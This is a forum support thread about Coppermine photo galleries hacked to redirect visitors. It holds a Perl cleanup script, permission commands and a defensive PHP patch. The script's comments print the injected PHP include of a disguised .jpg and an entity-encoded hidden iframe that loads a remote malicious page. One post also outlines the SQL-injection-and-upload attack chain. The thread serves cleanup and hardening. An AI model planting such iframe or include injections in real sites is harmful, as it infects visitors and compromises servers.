Someone has Redirected my Site to cdpuvbhfzz.com-What do I do?

[François Keller]

Have you seen this problem before ?

yes

Can you give me any suggestion ?

yes, search the board and find many threads dealing with this problem
Annoucement thread:http://forum.coppermine-gallery.net/index.php/topic,51882.msg251503.html#msg251503
Hack thread: http://forum.coppermine-gallery.net/index.php/topic,51671.0.html
Sanitization thread: http://forum.coppermine-gallery.net/index.php/topic,51927.0.html

[maxslug]

A little shell (/bin/sh) script to clean up that... Not better than capecodgal's one but very simple to use if you have shell access or /bin/sh cgi capabilities.

Use it on your web's root.

This one wasn't doing it for me, so I made a one-minute perl script to do it :

Code Select Expand


#!/usr/bin/perl -w

print "Searching for files in $ENV{PWD}\n";
print "This could take minutes to hours to look through all your files for the hack.  Hang tight.\n";

$files = `grep -irl "iframe src='\&" .`;
chomp $files;

unless ($files) { print "no hacked files found. exiting.\n"; exit; }

print "Done.  Files w/ the hack (probably) :\n ";

@files = sort split(/\s+/,$files);

foreach my $f (@files) {
    print "  $f\n";
}

print "starting to clean them up ... Backups will be saved as <FILE>.bad. Delete all the .bad files after
making sure this script worked ok.\n";

foreach my $f (@files) {
    print "$f...\n";
    rename($f,"$f.bad");
    open (FROM,"<$f.bad") or die;
    open (TO,  ">$f")     or die;
    # slurp up whole file into memory
    { local $/=undef;
      $from = <FROM>;
    }

    # <?php
    #   if (file_exists("/home/max/public_html/pix/albums/userpics/45563131x.jpg")) {
    #   include("/home/max/public_html/pix/albums/userpics/45563131x.jpg");
    #   } else {
    #           echo "";
    #   }
    #   ?>

    # assume that the bad chunk comes after the real php header
    # true in my hacked case
    $from =~ s/(.*<\?php.*\/?>.*)<\?php.*iframe src=['"]&.*\?>(.*)/$1$2/si;

    # <iframe src='&#104;&#116;&#116;&#112;&#58;&#47;&#47;&#99;&#99;&#102;&#101;&#108;&#111;&#109;&#118;&#104;&#107;&#46;&#99;&#111;&#109;&#47;&#100;&#108;&#47;&#97;&#100;&#118;&#53;&#52;&#50;&#46;&#112;&#104;&#112;' width=1 height=1></iframe>
    $from =~ s/<iframe src=['"]&.*<\/iframe>//i;
    print TO $from;
}



i'm sure this won't work for everyone either, but it takes care of the php and html inserts on my site (as shown in the comments in the code).

cheers,
-m

[maxslug]

Two bugs I just found w/ myown script 

Change this

Code Select Expand


$files = `grep -irl "iframe src='\&" .`;


to

Code Select Expand


$files = `grep -irl 'iframe src="\&' .`;


if your hacked pages have double quotes instead of single in the links (mine had single, so the original was fine)


and change

Code Select Expand


@files = sort split(/\s+/,$files);


to

Code Select Expand


@files = sort split(/\s*\n\s*/,$files);


to handle spaces in file names.

-m

[maxslug]

A caveat (not a bug per se)...

the hack may have messed up all your permissions and so the find command will act funny if you're not root.

Here's some commands to fix your permissions (to be run from your web / public_html directory ) :

Code Select Expand


chmod -R 644 *
find . -type d | xargs chmod +x


This will make all files readable by everyone, but only writable by you.  Then proceed to run my fix script above.  You may need to run the above multiple times. This is due to the -R option failing to recurse directories when they are not yet readable by you.   Chicken and Egg problem.

-m

[Joachim Müller]

This may or may not work, depending on server setup. Most users don't have shell access anyway.
Bottom line: permissions may be changed by the attacker. You should re-apply the permissions as suggested in the docs.

[luzma]

Thanks for your answer. I will try to follow the suggestions of this links and upgrade Coppermine.


Luz

[Joachim Müller]

Merged with thread that discusses the virus and resolutions.

[gertiebeth]

I am still cleaning up my servers after the recent hack and thought I would share the files I have found in hopes that others will post theirs so I can search for them too:

• *142739_298w3*
• *0xv0*
• *45563131x*
• *5563131x*

More please...

[Joachim Müller]

No, that doesn't make sense. As I suggested many times over: the payload of the hack may differ. Sou really have to sanitize your gallery as suggested in the Yikes thread - everything else is just nonsense.

[pressurecooker]

It appears one of my installation versions (grabbed from an old server) is affected too. I wonder if it is possible to detect the bastard using his IP? Probably not because he is using some IP hiders. Has anyone ever detected and caught an attacker? I was successful once but then... well, it was so obvious that I had no problem detecting him...

Then, another idea. Is there anything Verisign (the manager of .com) can do about it? We will never stop these attacks unless we really fight.

[Joachim Müller]

No. How could you "catch" an attacker? How could you "fight" them? The only thing you can do is keep your gallery up to date in the future. I have already posted a reply to a similar request, see http://forum.coppermine-gallery.net/index.php/topic,51671.msg252539.html#msg252539

[phantom-inker]

A friend of mine asked me to help him diagnose this problem on his site, since I'm a programmer.  Conveniently, we had all the logs, so it was pretty straightforward.  Our attacker wasn't quite as smart as some here, but I suspect they're all using the same basic technique:

[list=1]

• Find an SQL injection vulnerability.  Coppermine has had a few of these, and while the authors are working hard to remove them, more may yet exist.
  
• Create PHP code that does something bad.  Rename it to .jpg or .zip or something Coppermine will allow, and upload it just like any other normal "picture".
  
• Coppermine trusts the database to be accurate, so inject data into the database to convince Coppermine to run the uploaded "picture".  Specifically, change "config/custom_header_path" or "config/custom_footer_path" to point to the uploaded file.
  
• Load the site in your web browser.  Your uploaded code now can do anything PHP code on the server, which, depending on the server's file permissions, might be nothing or everything.
  

You can stop the attacker by breaking any of the steps above.  My solution is to break the connection between step 3 and step 4:  Any custom page headers/footers should never be located in the albums/ directory with a properly-configured site, so we prohibit inclusion from that directory or anything under it.  The solution I added to his site is three additional lines to cpg_get_custom_include() in "include/functions.inc.php", as depicted below:

Code Select Expand


/**
* cpg_get_custom_include()
*
* @param string $path
* @return
**/
function cpg_get_custom_include($path = '')
{
    global $CONFIG;
    $return = '';
    // check if path is set in config
    if ($path == '')
    {
        return $return;
    }
    // anti-hacking check: make sure that the included file is
    // not in any visitor-alterable directories (i.e., under any
    // directory named "albums").  If any security vulnerabilities
    // are found anywhere else in the code, this check will still
    // keep the attacker from using this common attack venue.
    if (preg_match("/\/albums\//", $path) || preg_match("/^albums\//", $path))
    {
        return $return;
    }
    // check if the include file exists
    if (!file_exists($path))
    {
        return $return;
    }
    ob_start();
    include($path);
    $return = ob_get_contents();
    ob_end_clean();
    // crude sub-routine to remove the most basic "no-no" stuff from possible in
    // could need improvement
    $return = str_replace('<html>', '', $return);
    $return = str_replace('<head>', '', $return);
    $return = str_replace('<body>', '', $return);
    $return = str_replace('</html>', '', $return);
    $return = str_replace('</head>', '', $return);
    $return = str_replace('</body>', '', $return);
    return $return;
}


Note that this solution still doesn't 100% stop this particular attack, because there are ways to get around this using other software that may be installed on the site.  For example, if you have another image gallery package installed that uploads to a directory that isn't named "albums", you can upload a file via that program and then include from there.  Still, that's difficult, and only works on a site-by-site basis, so this addition is pretty good for hardening Coppermine.  (A good future addition might be to allow header/footer inclusion only from the Coppermine directory and its subdirectories, but that might break some sites that depend on external content inclusion.)

I would encourage the Coppermine developers to include this code in the next release, since it's a proactive security measure:  Even if SQL-injection vulnerabilities are discovered in the future, this exact attack still won't work.

Enjoy!

[phantom-inker]

Note --- this particular solution I gave only works if your upload directory is named "albums".  Coppermine is flexible, and you can rename "albums" to anything you want, so if your "albums" directory is named something else, you'd better alter the code accordingly.  If you have any other writable folders on your server, too, you should include those as well.

A better solution yet would be an inclusion whitelist --- specifically, "config.inc.php" would contain a list of directory paths from which files may be legally included.  That would complicate adding custom headers and footers a little bit, but it would be worth the security effort.

(Sadly, all the directory paths are stored in the database instead of "config.inc.php".  I would encourage the developers to move the directory paths out of the database and into "config.inc.php", because all database data is inherently untrustworthy from a security perspective.  If another SQL injection is found --- and one probably will be eventually no matter how carefully you check your code for holes --- all the attacker has to do is rename "albums" in the database to some other directory that's known to be server-writable, and then this attack works again.  cpg_get_custom_include() can't simply check against the current name of "albums" either, because that's in the database and is inherently suspect data.  If the path was stored in "config.inc.php" instead, it would be unwritable via a SQL injection, and would thus be able to be checked against even without hard-coding its name.)

[thejflo]

phantom-inker
Thank you for taking the time to write that up (as with everyone else) that was very helpful 

[Nibbler]

Files can be modified by SQL injection too you know. An attacker could just as easily install a malicious plugin once they have admin rights - checking custom headers won't stop that.

[Ralf Night]

Hello! I have done what you told, and this iframe is deleted! But i still can't upload pictures... Could you help me? http://gallery.tatushow.com

[sombl]

Hello,

I can't use my album! some trojan on it..

How can I remove the trojan from my online gallery?

http://jacobin.us/onlinegallery1/cpg1441/index.php

[Nibbler]

Hello! I have done what you told, and this iframe is deleted! But i still can't upload pictures... Could you help me? http://gallery.tatushow.com

Start a new thread on the upload support section following the instructions in the docs.

[Nibbler]

Hello,

I can't use my album! some trojan on it..

How can I remove the trojan from my online gallery?

http://jacobin.us/onlinegallery1/cpg1441/index.php

Yikes, I've been hacked! Now what?

[phantom-inker]

Files can be modified by SQL injection too you know. An attacker could just as easily install a malicious plugin once they have admin rights - checking custom headers won't stop that.

There are a lot of things you can do with SQL injection, but so far as I know, direct modification of the filesystem isn't one of them.  Coppermine, however, has a tendency of trusting the contents of the database, and of keeping things in there that (from a security perspective) should have been hard-coded somewhere, directory pathnames especially.  So it wouldn't surprise me if gaining access to the database would allow an attacker to do things that Coppermine really shouldn't allow anyone, even a so-called "administrator," to do in the first place.

I'm a degreed computer scientist, I've been writing code for 20+ years, I worked on-and-off as a Un*x sysadmin since 1995, and I've written nearly two million lines of code in my life; I've seen systems that were secure and systems that were hacked, and in every case, the hacks boiled down to (A) the programmer making a mistake (which includes the programmer being too trusting) or (B) the users being too trusting or (C) the code having bugs.  You can't really change (B) no matter how hard you try, and no-one can completely stop (C), so the only thing you can do to stop attackers is get very defensive about (A).  Yes, I've written PHP too, and I know PHP doesn't make it very easy to write secure code: for example, the preg_match /D flag drives me nuts, and the fact that you can't trust the value of "PHP_SELF" is just silly.  But if you don't code defensively --- which means assuming your code can and will be attacked at every turn --- your code can and will be broken.

Anyway, if adding an administrative user entry in the database is all that's needed to be able to install malicious code, Coppermine will never be secure --- the database should always be considered an untrustworthy data source, and everything in it should be checked, verified, analyzed, and validated just as though it came from the user (because there's at least a decent chance that it actually did).  At a minimum, that means moving things that need to be trustworthy outside the database; in my professional opinion, several more things should be hard-coded in your "config.inc.php" than currently are:  The name of the "albums" directory, for example, and "userpics".  You would only change those when you first install Coppermine anyway, and when you're installing Coppermine, you already have server access to change them!  Keeping that kind of information in the database is pointless and just makes attacks easier and more fruitful.  But if the database is treated by your code with the same skepticism as data that comes from the browser itself, all an SQL injection can do --- if the attacker finds one --- is maybe alter some of the data, but never alter the site.

Checking the custom headers/footers was an easy band-aid for this attack, and I posted this information because it may be beneficial for people who want to stem this particular plague.  It is by no means a comprehensive security solution --- just a way of buying some time.

If you want to limit SQL injections further, you may wish to use a proper database-wrapper layer that checks and validates all data going to and from the database:  A lightweight design like your cpg_db_query() is inherently prone to security problems, because it spreads security checks throughout the program instead of centralizing them whenever possible.

In summary, I know that everything I'm describing may require changes in Coppermine, and some of the changes may be nontrivial.  But please don't think I'm attacking you guys:  We're both on the same side here, and I know far too well that security is hard, and I can see by the Changelog that you're trying, but more work is needed.  Security, both reactive and proactive, is an essential consideration these days; we're living in an age where it's not if your code will get attacked but when and how often, which means that security considerations need to be front-and-center in every last line of PHP you write.